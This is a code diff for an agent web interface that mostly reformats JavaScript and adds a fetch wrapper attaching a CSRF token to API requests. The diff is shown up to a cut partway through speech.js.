964 function removeClassFromElement(element, className) {
938 - element.classList.remove(className);
965 + element.classList.remove(className);
966 }
967
941 -
942 -function toast(text, type = 'info', timeout = 5000) {
943 - const toast = document.getElementById('toast');
944 - const isVisible = toast.classList.contains('show');
945 -
946 - // Clear any existing timeout immediately
947 - if (toast.timeoutId) {
948 - clearTimeout(toast.timeoutId);
949 - toast.timeoutId = null;
950 - }
951 -
952 - // Function to update toast content and show it
953 - const updateAndShowToast = () => {
954 - // Update the toast content and type
955 - const title = type.charAt(0).toUpperCase() + type.slice(1);
956 - toast.querySelector('.toast__title').textContent = title;
957 - toast.querySelector('.toast__message').textContent = text;
958 -
959 - // Remove old classes and add new ones
960 - toast.classList.remove('toast--success', 'toast--error', 'toast--info');
961 - toast.classList.add(`toast--${type}`);
962 -
963 - // Show/hide copy button based on toast type
964 - const copyButton = toast.querySelector('.toast__copy');
965 - copyButton.style.display = type === 'error' ? 'inline-block' : 'none';
966 -
967 - // Add the close button event listener
968 - const closeButton = document.querySelector('.toast__close');
969 - closeButton.onclick = () => {
970 - hideToast();
971 - };
972 -
973 - // Add the copy button event listener
974 - copyButton.onclick = () => {
975 - navigator.clipboard.writeText(text);
976 - copyButton.textContent = 'Copied!';
977 - setTimeout(() => {
978 - copyButton.textContent = 'Copy';
979 - }, 2000);
980 - };
981 -
982 - // Show the toast
983 - toast.style.display = 'flex';
984 - // Force a reflow to ensure the animation triggers
985 - void toast.offsetWidth;
986 - toast.classList.add('show');
987 -
988 - // Set timeout if specified
989 - if (timeout) {
990 - const minTimeout = Math.max(timeout, 5000);
991 - toast.timeoutId = setTimeout(() => {
992 - hideToast();
993 - }, minTimeout);
994 - }
968 +function toast(text, type = "info", timeout = 5000) {
969 + const toast = document.getElementById("toast");
970 + const isVisible = toast.classList.contains("show");
971 +
972 + // Clear any existing timeout immediately
973 + if (toast.timeoutId) {
974 + clearTimeout(toast.timeoutId);
975 + toast.timeoutId = null;
976 + }
977 +
978 + // Function to update toast content and show it
979 + const updateAndShowToast = () => {
980 + // Update the toast content and type
981 + const title = type.charAt(0).toUpperCase() + type.slice(1);
982 + toast.querySelector(".toast__title").textContent = title;
983 + toast.querySelector(".toast__message").textContent = text;
984 +
985 + // Remove old classes and add new ones
986 + toast.classList.remove("toast--success", "toast--error", "toast--info");
987 + toast.classList.add(`toast--${type}`);
988 +
989 + // Show/hide copy button based on toast type
990 + const copyButton = toast.querySelector(".toast__copy");
991 + copyButton.style.display = type === "error" ? "inline-block" : "none";
992 +
993 + // Add the close button event listener
994 + const closeButton = document.querySelector(".toast__close");
995 + closeButton.onclick = () => {
996 + hideToast();
997 };
998
997 - if (isVisible) {
998 - // If a toast is visible, hide it first then show the new one
999 - toast.classList.remove('show');
1000 - toast.classList.add('hide');
1001 -
1002 - // Wait for hide animation to complete before showing new toast
1003 - setTimeout(() => {
1004 - toast.classList.remove('hide');
1005 - updateAndShowToast();
1006 - }, 400); // Match this with CSS transition duration
1007 - } else {
1008 - // If no toast is visible, show the new one immediately
1009 - updateAndShowToast();
1010 - }
1011 -}
1012 -window.toast = toast
999 + // Add the copy button event listener
1000 + copyButton.onclick = () => {
1001 + navigator.clipboard.writeText(text);
1002 + copyButton.textContent = "Copied!";
1003 + setTimeout(() => {
1004 + copyButton.textContent = "Copy";
1005 + }, 2000);
1006 + };
1007
1014 -function hideToast() {
1015 - const toast = document.getElementById('toast');
1008 + // Show the toast
1009 + toast.style.display = "flex";
1010 + // Force a reflow to ensure the animation triggers
1011 + void toast.offsetWidth;
1012 + toast.classList.add("show");
1013
1017 - // Clear any existing timeout
1018 - if (toast.timeoutId) {
1019 - clearTimeout(toast.timeoutId);
1020 - toast.timeoutId = null;
1014 + // Set timeout if specified
1015 + if (timeout) {
1016 + const minTimeout = Math.max(timeout, 5000);
1017 + toast.timeoutId = setTimeout(() => {
1018 + hideToast();
1019 + }, minTimeout);
1020 }
1021 + };
1022
1023 - toast.classList.remove('show');
1024 - toast.classList.add('hide');
1023 + if (isVisible) {
1024 + // If a toast is visible, hide it first then show the new one
1025 + toast.classList.remove("show");
1026 + toast.classList.add("hide");
1027
1026 - // Wait for the hide animation to complete before removing from display
1028 + // Wait for hide animation to complete before showing new toast
1029 setTimeout(() => {
1028 - toast.style.display = 'none';
1029 - toast.classList.remove('hide');
1030 + toast.classList.remove("hide");
1031 + updateAndShowToast();
1032 }, 400); // Match this with CSS transition duration
1033 + } else {
1034 + // If no toast is visible, show the new one immediately
1035 + updateAndShowToast();
1036 + }
1037 +}
1038 +window.toast = toast;
1039 +
1040 +function hideToast() {
1041 + const toast = document.getElementById("toast");
1042 +
1043 + // Clear any existing timeout
1044 + if (toast.timeoutId) {
1045 + clearTimeout(toast.timeoutId);
1046 + toast.timeoutId = null;
1047 + }
1048 +
1049 + toast.classList.remove("show");
1050 + toast.classList.add("hide");
1051 +
1052 + // Wait for the hide animation to complete before removing from display
1053 + setTimeout(() => {
1054 + toast.style.display = "none";
1055 + toast.classList.remove("hide");
1056 + }, 400); // Match this with CSS transition duration
1057 }
1058
1059 function scrollChanged(isAtBottom) {
1034 - const inputAS = Alpine.$data(autoScrollSwitch);
1035 - inputAS.autoScroll = isAtBottom
1036 - // autoScrollSwitch.checked = isAtBottom
1060 + const inputAS = Alpine.$data(autoScrollSwitch);
1061 + inputAS.autoScroll = isAtBottom;
1062 + // autoScrollSwitch.checked = isAtBottom
1063 }
1064
1065 function updateAfterScroll() {
1040 - // const toleranceEm = 1; // Tolerance in em units
1041 - // const tolerancePx = toleranceEm * parseFloat(getComputedStyle(document.documentElement).fontSize); // Convert em to pixels
1042 - const tolerancePx = 50;
1043 - const chatHistory = document.getElementById('chat-history');
1044 - const isAtBottom = (chatHistory.scrollHeight - chatHistory.scrollTop) <= (chatHistory.clientHeight + tolerancePx);
1045 -
1046 - scrollChanged(isAtBottom);
1066 + // const toleranceEm = 1; // Tolerance in em units
1067 + // const tolerancePx = toleranceEm * parseFloat(getComputedStyle(document.documentElement).fontSize); // Convert em to pixels
1068 + const tolerancePx = 50;
1069 + const chatHistory = document.getElementById("chat-history");
1070 + const isAtBottom =
1071 + chatHistory.scrollHeight - chatHistory.scrollTop <=
1072 + chatHistory.clientHeight + tolerancePx;
1073 +
1074 + scrollChanged(isAtBottom);
1075 }
1076
1049 -chatHistory.addEventListener('scroll', updateAfterScroll);
1077 +chatHistory.addEventListener("scroll", updateAfterScroll);
1078
1051 -chatInput.addEventListener('input', adjustTextareaHeight);
1079 +chatInput.addEventListener("input", adjustTextareaHeight);
1080
1081 // setInterval(poll, 250);
1082
1083 async function startPolling() {
1056 - const shortInterval = 25
1057 - const longInterval = 250
1058 - const shortIntervalPeriod = 100
1059 - let shortIntervalCount = 0
1060 -
1061 - async function _doPoll() {
1062 - let nextInterval = longInterval
1063 -
1064 - try {
1065 - const result = await poll();
1066 - if (result) shortIntervalCount = shortIntervalPeriod; // Reset the counter when the result is true
1067 - if (shortIntervalCount > 0) shortIntervalCount--; // Decrease the counter on each call
1068 - nextInterval = shortIntervalCount > 0 ? shortInterval : longInterval;
1069 - } catch (error) {
1070 - console.error('Error:', error);
1071 - }
1084 + const shortInterval = 25;
1085 + const longInterval = 250;
1086 + const shortIntervalPeriod = 100;
1087 + let shortIntervalCount = 0;
1088
1073 - // Call the function again after the selected interval
1074 - setTimeout(_doPoll.bind(this), nextInterval);
1089 + async function _doPoll() {
1090 + let nextInterval = longInterval;
1091 +
1092 + try {
1093 + const result = await poll();
1094 + if (result) shortIntervalCount = shortIntervalPeriod; // Reset the counter when the result is true
1095 + if (shortIntervalCount > 0) shortIntervalCount--; // Decrease the counter on each call
1096 + nextInterval = shortIntervalCount > 0 ? shortInterval : longInterval;
1097 + } catch (error) {
1098 + console.error("Error:", error);
1099 }
1100
1077 - _doPoll();
1101 + // Call the function again after the selected interval
1102 + setTimeout(_doPoll.bind(this), nextInterval);
1103 + }
1104 +
1105 + _doPoll();
1106 }
1107
1108 document.addEventListener("DOMContentLoaded", startPolling);
1109
1082 -document.addEventListener('DOMContentLoaded', () => {
1083 - const dragDropOverlay = document.getElementById('dragdrop-overlay');
1084 - const inputSection = document.getElementById('input-section');
1085 - let dragCounter = 0;
1086 -
1087 - // Prevent default drag behaviors
1088 - ['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
1089 - document.addEventListener(eventName, (e) => {
1090 - e.preventDefault();
1091 - e.stopPropagation();
1092 - }, false);
1093 - });
1094 -
1095 - // Handle drag enter
1096 - document.addEventListener('dragenter', (e) => {
1097 - dragCounter++;
1098 - if (dragCounter === 1) {
1099 - Alpine.$data(dragDropOverlay).isVisible = true;
1100 - }
1101 - }, false);
1102 -
1103 - // Handle drag leave
1104 - document.addEventListener('dragleave', (e) => {
1105 - dragCounter--;
1106 - if (dragCounter === 0) {
1107 - Alpine.$data(dragDropOverlay).isVisible = false;
1108 - }
1109 - }, false);
1110 +document.addEventListener("DOMContentLoaded", () => {
1111 + const dragDropOverlay = document.getElementById("dragdrop-overlay");
1112 + const inputSection = document.getElementById("input-section");
1113 + let dragCounter = 0;
1114
1111 - // Handle drop
1112 - dragDropOverlay.addEventListener('drop', (e) => {
1113 - dragCounter = 0;
1115 + // Prevent default drag behaviors
1116 + ["dragenter", "dragover", "dragleave", "drop"].forEach((eventName) => {
1117 + document.addEventListener(
1118 + eventName,
1119 + (e) => {
1120 + e.preventDefault();
1121 + e.stopPropagation();
1122 + },
1123 + false
1124 + );
1125 + });
1126 +
1127 + // Handle drag enter
1128 + document.addEventListener(
1129 + "dragenter",
1130 + (e) => {
1131 + dragCounter++;
1132 + if (dragCounter === 1) {
1133 + Alpine.$data(dragDropOverlay).isVisible = true;
1134 + }
1135 + },
1136 + false
1137 + );
1138 +
1139 + // Handle drag leave
1140 + document.addEventListener(
1141 + "dragleave",
1142 + (e) => {
1143 + dragCounter--;
1144 + if (dragCounter === 0) {
1145 Alpine.$data(dragDropOverlay).isVisible = false;
1115 -
1116 - const inputAD = Alpine.$data(inputSection);
1117 - const files = e.dataTransfer.files;
1118 - handleFiles(files, inputAD);
1119 - }, false);
1146 + }
1147 + },
1148 + false
1149 + );
1150 +
1151 + // Handle drop
1152 + dragDropOverlay.addEventListener(
1153 + "drop",
1154 + (e) => {
1155 + dragCounter = 0;
1156 + Alpine.$data(dragDropOverlay).isVisible = false;
1157 +
1158 + const inputAD = Alpine.$data(inputSection);
1159 + const files = e.dataTransfer.files;
1160 + handleFiles(files, inputAD);
1161 + },
1162 + false
1163 + );
1164 });
1165
1166 // Separate file handling logic to be used by both drag-drop and file input
1167 function handleFiles(files, inputAD) {
1124 - Array.from(files).forEach(file => {
1125 - const ext = file.name.split('.').pop().toLowerCase();
1126 -
1127 - const isImage = ['jpg', 'jpeg', 'png', 'bmp'].includes(ext);
1128 -
1129 - if (isImage) {
1130 - const reader = new FileReader();
1131 - reader.onload = e => {
1132 - inputAD.attachments.push({
1133 - file: file,
1134 - url: e.target.result,
1135 - type: 'image',
1136 - name: file.name,
1137 - extension: ext
1138 - });
1139 - inputAD.hasAttachments = true;
1140 - };
1141 - reader.readAsDataURL(file);
1142 - } else {
1143 - inputAD.attachments.push({
1144 - file: file,
1145 - type: 'file',
1146 - name: file.name,
1147 - extension: ext
1148 - });
1149 - inputAD.hasAttachments = true;
1150 - }
1151 -
1152 - });
1168 + Array.from(files).forEach((file) => {
1169 + const ext = file.name.split(".").pop().toLowerCase();
1170 +
1171 + const isImage = ["jpg", "jpeg", "png", "bmp"].includes(ext);
1172 +
1173 + if (isImage) {
1174 + const reader = new FileReader();
1175 + reader.onload = (e) => {
1176 + inputAD.attachments.push({
1177 + file: file,
1178 + url: e.target.result,
1179 + type: "image",
1180 + name: file.name,
1181 + extension: ext,
1182 + });
1183 + inputAD.hasAttachments = true;
1184 + };
1185 + reader.readAsDataURL(file);
1186 + } else {
1187 + inputAD.attachments.push({
1188 + file: file,
1189 + type: "file",
1190 + name: file.name,
1191 + extension: ext,
1192 + });
1193 + inputAD.hasAttachments = true;
1194 + }
1195 + });
1196 }
1197
1198 // Modify the existing handleFileUpload to use the new handleFiles function
1156 -window.handleFileUpload = function(event) {
1157 - const files = event.target.files;
1158 - const inputAD = Alpine.$data(inputSection);
1159 - handleFiles(files, inputAD);
1160 -}
1199 +window.handleFileUpload = function (event) {
1200 + const files = event.target.files;
1201 + const inputAD = Alpine.$data(inputSection);
1202 + handleFiles(files, inputAD);
1203 +};
1204
1205 // Setup event handlers once the DOM is fully loaded
1163 -document.addEventListener('DOMContentLoaded', function() {
1164 - setupSidebarToggle();
1165 - setupTabs();
1166 - initializeActiveTab();
1206 +document.addEventListener("DOMContentLoaded", function () {
1207 + setupSidebarToggle();
1208 + setupTabs();
1209 + initializeActiveTab();
1210 });
1211
1212 // Setup tabs functionality
1213 function setupTabs() {
1171 - const chatsTab = document.getElementById('chats-tab');
1172 - const tasksTab = document.getElementById('tasks-tab');
1214 + const chatsTab = document.getElementById("chats-tab");
1215 + const tasksTab = document.getElementById("tasks-tab");
1216
1174 - if (chatsTab && tasksTab) {
1175 - chatsTab.addEventListener('click', function() {
1176 - activateTab('chats');
1177 - });
1217 + if (chatsTab && tasksTab) {
1218 + chatsTab.addEventListener("click", function () {
1219 + activateTab("chats");
1220 + });
1221
1179 - tasksTab.addEventListener('click', function() {
1180 - activateTab('tasks');
1181 - });
1182 - } else {
1183 - console.error('Tab elements not found');
1184 - setTimeout(setupTabs, 100); // Retry setup
1185 - }
1222 + tasksTab.addEventListener("click", function () {
1223 + activateTab("tasks");
1224 + });
1225 + } else {
1226 + console.error("Tab elements not found");
1227 + setTimeout(setupTabs, 100); // Retry setup
1228 + }
1229 }
1230
1231 function activateTab(tabName) {
1189 - const chatsTab = document.getElementById('chats-tab');
1190 - const tasksTab = document.getElementById('tasks-tab');
1191 - const chatsSection = document.getElementById('chats-section');
1192 - const tasksSection = document.getElementById('tasks-section');
1193 -
1194 - // Get current context to preserve before switching
1195 - const currentContext = context;
1196 -
1197 - // Store the current selection for the active tab before switching
1198 - const previousTab = localStorage.getItem('activeTab');
1199 - if (previousTab === 'chats') {
1200 - localStorage.setItem('lastSelectedChat', currentContext);
1201 - } else if (previousTab === 'tasks') {
1202 - localStorage.setItem('lastSelectedTask', currentContext);
1232 + const chatsTab = document.getElementById("chats-tab");
1233 + const tasksTab = document.getElementById("tasks-tab");
1234 + const chatsSection = document.getElementById("chats-section");
1235 + const tasksSection = document.getElementById("tasks-section");
1236 +
1237 + // Get current context to preserve before switching
1238 + const currentContext = context;
1239 +
1240 + // Store the current selection for the active tab before switching
1241 + const previousTab = localStorage.getItem("activeTab");
1242 + if (previousTab === "chats") {
1243 + localStorage.setItem("lastSelectedChat", currentContext);
1244 + } else if (previousTab === "tasks") {
1245 + localStorage.setItem("lastSelectedTask", currentContext);
1246 + }
1247 +
1248 + // Reset all tabs and sections
1249 + chatsTab.classList.remove("active");
1250 + tasksTab.classList.remove("active");
1251 + chatsSection.style.display = "none";
1252 + tasksSection.style.display = "none";
1253 +
1254 + // Remember the last active tab in localStorage
1255 + localStorage.setItem("activeTab", tabName);
1256 +
1257 + // Activate selected tab and section
1258 + if (tabName === "chats") {
1259 + chatsTab.classList.add("active");
1260 + chatsSection.style.display = "";
1261 +
1262 + // Get the available contexts from Alpine.js data
1263 + const chatsAD = Alpine.$data(chatsSection);
1264 + const availableContexts = chatsAD.contexts || [];
1265 +
1266 + // Restore previous chat selection
1267 + const lastSelectedChat = localStorage.getItem("lastSelectedChat");
1268 +
1269 + // Only switch if:
1270 + // 1. lastSelectedChat exists AND
1271 + // 2. It's different from current context AND
1272 + // 3. The context actually exists in our contexts list OR there are no contexts yet
1273 + if (
1274 + lastSelectedChat &&
1275 + lastSelectedChat !== currentContext &&
1276 + (availableContexts.some((ctx) => ctx.id === lastSelectedChat) ||
1277 + availableContexts.length === 0)
1278 + ) {
1279 + setContext(lastSelectedChat);
1280 }
1281 + } else if (tabName === "tasks") {
1282 + tasksTab.classList.add("active");
1283 + tasksSection.style.display = "flex";
1284 + tasksSection.style.flexDirection = "column";
1285
1205 - // Reset all tabs and sections
1206 - chatsTab.classList.remove('active');
1207 - tasksTab.classList.remove('active');
1208 - chatsSection.style.display = 'none';
1209 - tasksSection.style.display = 'none';
1210 -
1211 - // Remember the last active tab in localStorage
1212 - localStorage.setItem('activeTab', tabName);
1213 -
1214 - // Activate selected tab and section
1215 - if (tabName === 'chats') {
1216 - chatsTab.classList.add('active');
1217 - chatsSection.style.display = '';
1218 -
1219 - // Get the available contexts from Alpine.js data
1220 - const chatsAD = Alpine.$data(chatsSection);
1221 - const availableContexts = chatsAD.contexts || [];
1222 -
1223 - // Restore previous chat selection
1224 - const lastSelectedChat = localStorage.getItem('lastSelectedChat');
1225 -
1226 - // Only switch if:
1227 - // 1. lastSelectedChat exists AND
1228 - // 2. It's different from current context AND
1229 - // 3. The context actually exists in our contexts list OR there are no contexts yet
1230 - if (lastSelectedChat &&
1231 - lastSelectedChat !== currentContext &&
1232 - (availableContexts.some(ctx => ctx.id === lastSelectedChat) || availableContexts.length === 0)) {
1233 - setContext(lastSelectedChat);
1234 - }
1235 - } else if (tabName === 'tasks') {
1236 - tasksTab.classList.add('active');
1237 - tasksSection.style.display = 'flex';
1238 - tasksSection.style.flexDirection = 'column';
1239 -
1240 - // Get the available tasks from Alpine.js data
1241 - const tasksAD = Alpine.$data(tasksSection);
1242 - const availableTasks = tasksAD.tasks || [];
1243 -
1244 - // Restore previous task selection
1245 - const lastSelectedTask = localStorage.getItem('lastSelectedTask');
1246 -
1247 - // Only switch if:
1248 - // 1. lastSelectedTask exists AND
1249 - // 2. It's different from current context AND
1250 - // 3. The task actually exists in our tasks list
1251 - if (lastSelectedTask &&
1252 - lastSelectedTask !== currentContext &&
1253 - availableTasks.some(task => task.id === lastSelectedTask)) {
1254 - setContext(lastSelectedTask);
1255 - }
1286 + // Get the available tasks from Alpine.js data
1287 + const tasksAD = Alpine.$data(tasksSection);
1288 + const availableTasks = tasksAD.tasks || [];
1289 +
1290 + // Restore previous task selection
1291 + const lastSelectedTask = localStorage.getItem("lastSelectedTask");
1292 +
1293 + // Only switch if:
1294 + // 1. lastSelectedTask exists AND
1295 + // 2. It's different from current context AND
1296 + // 3. The task actually exists in our tasks list
1297 + if (
1298 + lastSelectedTask &&
1299 + lastSelectedTask !== currentContext &&
1300 + availableTasks.some((task) => task.id === lastSelectedTask)
1301 + ) {
1302 + setContext(lastSelectedTask);
1303 }
1304 + }
1305
1258 - // Request a poll update
1259 - poll();
1306 + // Request a poll update
1307 + poll();
1308 }
1309
1310 // Add function to initialize active tab and selections from localStorage
1311 function initializeActiveTab() {
1264 - // Initialize selection storage if not present
1265 - if (!localStorage.getItem('lastSelectedChat')) {
1266 - localStorage.setItem('lastSelectedChat', '');
1267 - }
1268 - if (!localStorage.getItem('lastSelectedTask')) {
1269 - localStorage.setItem('lastSelectedTask', '');
1270 - }
1271 -
1272 - const activeTab = localStorage.getItem('activeTab') || 'chats';
1273 - activateTab(activeTab);
1312 + // Initialize selection storage if not present
1313 + if (!localStorage.getItem("lastSelectedChat")) {
1314 + localStorage.setItem("lastSelectedChat", "");
1315 + }
1316 + if (!localStorage.getItem("lastSelectedTask")) {
1317 + localStorage.setItem("lastSelectedTask", "");
1318 + }
1319 +
1320 + const activeTab = localStorage.getItem("activeTab") || "chats";
1321 + activateTab(activeTab);
1322 }
1323
1324 /*
@@ -1287,53 +1335,55 @@ function initializeActiveTab() {
1335
1336 // Open the scheduler detail view for a specific task
1337 function openTaskDetail(taskId) {
1290 - // Wait for Alpine.js to be fully loaded
1291 - if (window.Alpine) {
1292 - // Get the settings modal button and click it to ensure all init logic happens
1293 - const settingsButton = document.getElementById('settings');
1294 - if (settingsButton) {
1295 - // Programmatically click the settings button
1296 - settingsButton.click();
1297 -
1298 - // Now get a reference to the modal element
1299 - const modalEl = document.getElementById('settingsModal');
1300 - if (!modalEl) {
1301 - console.error('Settings modal element not found after clicking button');
1302 - return;
1303 - }
1304 -
1305 - // Get the Alpine.js data for the modal
1306 - const modalData = Alpine.$data(modalEl);
1307 -
1308 - // Use a timeout to ensure the modal is fully rendered
1309 - setTimeout(() => {
1310 - // Switch to the scheduler tab first
1311 - modalData.switchTab('scheduler');
1312 -
1313 - // Use another timeout to ensure the scheduler component is initialized
1314 - setTimeout(() => {
1315 - // Get the scheduler component
1316 - const schedulerComponent = document.querySelector('[x-data="schedulerSettings"]');
1317 - if (!schedulerComponent) {
1318 - console.error('Scheduler component not found');
1319 - return;
1320 - }
1321 -
1322 - // Get the Alpine.js data for the scheduler component
1323 - const schedulerData = Alpine.$data(schedulerComponent);
1324 -
1325 - // Show the task detail view for the specific task
1326 - schedulerData.showTaskDetail(taskId);
1327 -
1328 - console.log('Task detail view opened for task:', taskId);
1329 - }, 50); // Give time for the scheduler tab to initialize
1330 - }, 25); // Give time for the modal to render
1331 - } else {
1332 - console.error('Settings button not found');
1333 - }
1338 + // Wait for Alpine.js to be fully loaded
1339 + if (window.Alpine) {
1340 + // Get the settings modal button and click it to ensure all init logic happens
1341 + const settingsButton = document.getElementById("settings");
1342 + if (settingsButton) {
1343 + // Programmatically click the settings button
1344 + settingsButton.click();
1345 +
1346 + // Now get a reference to the modal element
1347 + const modalEl = document.getElementById("settingsModal");
1348 + if (!modalEl) {
1349 + console.error("Settings modal element not found after clicking button");
1350 + return;
1351 + }
1352 +
1353 + // Get the Alpine.js data for the modal
1354 + const modalData = Alpine.$data(modalEl);
1355 +
1356 + // Use a timeout to ensure the modal is fully rendered
1357 + setTimeout(() => {
1358 + // Switch to the scheduler tab first
1359 + modalData.switchTab("scheduler");
1360 +
1361 + // Use another timeout to ensure the scheduler component is initialized
1362 + setTimeout(() => {
1363 + // Get the scheduler component
1364 + const schedulerComponent = document.querySelector(
1365 + '[x-data="schedulerSettings"]'
1366 + );
1367 + if (!schedulerComponent) {
1368 + console.error("Scheduler component not found");
1369 + return;
1370 + }
1371 +
1372 + // Get the Alpine.js data for the scheduler component
1373 + const schedulerData = Alpine.$data(schedulerComponent);
1374 +
1375 + // Show the task detail view for the specific task
1376 + schedulerData.showTaskDetail(taskId);
1377 +
1378 + console.log("Task detail view opened for task:", taskId);
1379 + }, 50); // Give time for the scheduler tab to initialize
1380 + }, 25); // Give time for the modal to render
1381 } else {
1335 - console.error('Alpine.js not loaded');
1382 + console.error("Settings button not found");
1383 }
1384 + } else {
1385 + console.error("Alpine.js not loaded");
1386 + }
1387 }
1388
1389 // Make the function available globally
webui/js/api.js
+61 -1
@@ -6,11 +6,12 @@
6 * @returns {Promise<any>} The JSON response from the API
7 */
8 export async function callJsonApi(endpoint, data) {
9 - const response = await fetch(endpoint, {
9 + const response = await fetchApi(endpoint, {
10 method: "POST",
11 headers: {
12 "Content-Type": "application/json",
13 },
14 + credentials: "same-origin",
15 body: JSON.stringify(data),
16 });
17
@@ -21,3 +22,62 @@ export async function callJsonApi(endpoint, data) {
22 const jsonResponse = await response.json();
23 return jsonResponse;
24 }
25 +
26 +/**
27 + * Fetch wrapper for A0 APIs that ensures token exchange
28 + * Automatically adds CSRF token to request headers
29 + * @param {string} url - The URL to fetch
30 + * @param {Object} [request] - The fetch request options
31 + * @returns {Promise<Response>} The fetch response
32 + */
33 +export async function fetchApi(url, request) {
34 + async function _wrap(retry) {
35 + // get the CSRF token
36 + const token = await getCsrfToken();
37 +
38 + // create a new request object if none was provided
39 + const finalRequest = request || {};
40 +
41 + // ensure headers object exists
42 + finalRequest.headers = finalRequest.headers || {};
43 +
44 + // add the CSRF token to the headers
45 + finalRequest.headers["X-CSRF-Token"] = token;
46 +
47 + // perform the fetch with the updated request
48 + const response = await fetch(url, finalRequest);
49 +
50 + // check if there was an CSRF error
51 + if (response.status === 403 && retry) {
52 + // retry the request with new token
53 + csrfToken = null;
54 + return await _wrap(false);
55 + }
56 +
57 + // return the response
58 + return response;
59 + }
60 +
61 + // perform the request
62 + const response = await _wrap(true);
63 +
64 + // return the response
65 + return response;
66 +}
67 +
68 +// csrf token stored locally
69 +let csrfToken = null;
70 +
71 +/**
72 + * Get the CSRF token for API requests
73 + * Caches the token after first request
74 + * @returns {Promise<string>} The CSRF token
75 + */
76 +async function getCsrfToken() {
77 + if (csrfToken) return csrfToken;
78 + const response = await fetch("/csrf_token", {
79 + credentials: "same-origin",
80 + }).then((r) => r.json());
81 + csrfToken = response.token;
82 + return csrfToken;
83 +}
webui/js/file_browser.js
+4 -4
@@ -39,7 +39,7 @@ const fileBrowserModalProxy = {
39 async fetchFiles(path = "") {
40 this.isLoading = true;
41 try {
42 - const response = await fetch(
42 + const response = await fetchApi(
43 `/get_work_dir_files?path=${encodeURIComponent(path)}`
44 );
45
@@ -113,7 +113,7 @@ const fileBrowserModalProxy = {
113 }
114
115 try {
116 - const response = await fetch("/delete_work_dir_file", {
116 + const response = await fetchApi("/delete_work_dir_file", {
117 method: "POST",
118 headers: {
119 "Content-Type": "application/json",
@@ -162,7 +162,7 @@ const fileBrowserModalProxy = {
162 }
163
164 // Proceed with upload after validation
165 - const response = await fetch("/upload_work_dir_files", {
165 + const response = await fetchApi("/upload_work_dir_files", {
166 method: "POST",
167 body: formData,
168 });
@@ -199,7 +199,7 @@ const fileBrowserModalProxy = {
199 file.path
200 )}`;
201
202 - const response = await fetch(downloadUrl);
202 + const response = await fetchApi(downloadUrl);
203
204 if (!response.ok) {
205 throw new Error("Network response was not ok");
webui/js/scheduler.js
+5 -5
@@ -256,7 +256,7 @@ const fullComponentImplementation = function() {
256
257 this.isLoading = true;
258 try {
259 - const response = await fetch('/scheduler_tasks_list', {
259 + const response = await fetchApi('/scheduler_tasks_list', {
260 method: 'POST',
261 headers: {
262 'Content-Type': 'application/json'
@@ -784,7 +784,7 @@ const fullComponentImplementation = function() {
784 console.log('Final task data being sent to API:', JSON.stringify(taskData, null, 2));
785
786 // Make API request
787 - const response = await fetch(apiEndpoint, {
787 + const response = await fetchApi(apiEndpoint, {
788 method: 'POST',
789 headers: {
790 'Content-Type': 'application/json'
@@ -874,7 +874,7 @@ const fullComponentImplementation = function() {
874 // Run a task
875 async runTask(taskId) {
876 try {
877 - const response = await fetch('/scheduler_task_run', {
877 + const response = await fetchApi('/scheduler_task_run', {
878 method: 'POST',
879 headers: {
880 'Content-Type': 'application/json'
@@ -918,7 +918,7 @@ const fullComponentImplementation = function() {
918 this.showLoadingState = true;
919
920 // Call API to update the task state
921 - const response = await fetch('/scheduler_task_update', {
921 + const response = await fetchApi('/scheduler_task_update', {
922 method: 'POST',
923 headers: {
924 'Content-Type': 'application/json'
@@ -959,7 +959,7 @@ const fullComponentImplementation = function() {
959 // if we delete selected context, switch to another first
960 switchFromContext(taskId);
961
962 - const response = await fetch('/scheduler_task_delete', {
962 + const response = await fetchApi('/scheduler_task_delete', {
963 method: 'POST',
964 headers: {
965 'Content-Type': 'application/json'
webui/js/settings.js
+3 -3
@@ -359,7 +359,7 @@ document.addEventListener('alpine:init', function () {
359 async fetchSettings() {
360 try {
361 this.isLoading = true;
362 - const response = await fetch('/api/settings_get', {
362 + const response = await fetchApi('/api/settings_get', {
363 method: 'POST',
364 headers: {
365 'Content-Type': 'application/json'
@@ -424,7 +424,7 @@ document.addEventListener('alpine:init', function () {
424 }
425
426 // Send request
427 - const response = await fetch('/api/settings_save', {
427 + const response = await fetchApi('/api/settings_save', {
428 method: 'POST',
429 headers: {
430 'Content-Type': 'application/json'
@@ -481,7 +481,7 @@ document.addEventListener('alpine:init', function () {
481 }
482
483 // Send test request
484 - const response = await fetch('/api/test_connection', {
484 + const response = await fetchApi('/api/test_connection', {
485 method: 'POST',
486 headers: {
487 'Content-Type': 'application/json'
webui/js/speech.js
+410 -390
@@ -1,461 +1,481 @@
1 // import { pipeline, read_audio } from '../transformers@3.0.2.js';
2 -import { updateChatInput, sendMessage } from '../index.js';
2 +import { updateChatInput, sendMessage } from "../index.js";
3
4 -const microphoneButton = document.getElementById('microphone-button');
4 +const microphoneButton = document.getElementById("microphone-button");
5 let microphoneInput = null;
6 let isProcessingClick = false;
7
8 const Status = {
9 - INACTIVE: 'inactive',
10 - ACTIVATING: 'activating',
11 - LISTENING: 'listening',
12 - RECORDING: 'recording',
13 - WAITING: 'waiting',
14 - PROCESSING: 'processing'
9 + INACTIVE: "inactive",
10 + ACTIVATING: "activating",
11 + LISTENING: "listening",
12 + RECORDING: "recording",
13 + WAITING: "waiting",
14 + PROCESSING: "processing",
15 };
16
17 const micSettings = {
18 - stt_model_size: 'tiny',
19 - stt_language: 'en',
20 - stt_silence_threshold: 0.05,
21 - stt_silence_duration: 1000,
22 - stt_waiting_timeout: 2000,
18 + stt_model_size: "tiny",
19 + stt_language: "en",
20 + stt_silence_threshold: 0.05,
21 + stt_silence_duration: 1000,
22 + stt_waiting_timeout: 2000,
23 };
24 -window.micSettings = micSettings
25 -loadMicSettings()
24 +window.micSettings = micSettings;
25 +loadMicSettings();
26
27 function densify(x) {
28 - return Math.exp(-5 * (1 - x));
28 + return Math.exp(-5 * (1 - x));
29 }
30
31 async function loadMicSettings() {
32 - try {
33 - const response = await fetch('/settings_get');
34 - const data = await response.json();
35 - const sttSettings = data.settings.sections.find(s => s.title === 'Speech to Text');
36 -
37 - if (sttSettings) {
38 - // Update options from server settings
39 - sttSettings.fields.forEach(field => {
40 - const key = field.id //.split('.')[1]; // speech_to_text.model_size -> model_size
41 - micSettings[key] = field.value;
42 - });
43 - }
44 - } catch (error) {
45 - window.toastFetchError("Failed to load speech settings", error)
46 - console.error('Failed to load speech settings:', error);
32 + try {
33 + const response = await fetchApi("/settings_get", {
34 + method: "POST",
35 + });
36 + const data = await response.json();
